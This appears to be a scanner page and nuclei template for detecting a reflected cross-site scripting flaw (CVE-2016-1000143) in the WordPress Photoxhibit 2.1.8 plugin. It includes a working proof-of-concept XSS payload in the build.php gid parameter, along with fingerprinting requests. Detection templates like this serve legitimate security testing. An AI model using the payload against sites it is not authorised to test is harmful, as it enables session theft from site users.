WordPress Photoxhibit 2.1.8 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.6%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress Photoxhibit 2.1.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of WordPress Photoxhibit or apply the official patch provided by the vendor.

How to confirm it

Send: GET /wp-content/plugins/photoxhibit/readme.txt
Positive when: contains "PhotoXhibit" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/photoxhibit/common/inc/pages/build.php?gid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000143 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000143

info:
  name: WordPress Photoxhibit 2.1.8 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Photoxhibit 2.1.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of WordPress Photoxhibit or apply the official patch provided by the vendor.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=780
    - https://wordpress.org/plugins/photoxhibit
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000143
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000143
    cwe-id: CWE-79
    epss-score: 0.03558
    epss-percentile: 0.89425
    cpe: cpe:2.3:a:photoxhibit_project:photoxhibit:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "photoxhibit_project"
    product: photoxhibit
    framework: wordpress
  tags: cve2016,cve,wordpress,wp-plugin,xss,photoxhibit_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/photoxhibit/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'PhotoXhibit'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/photoxhibit/common/inc/pages/build.php?gid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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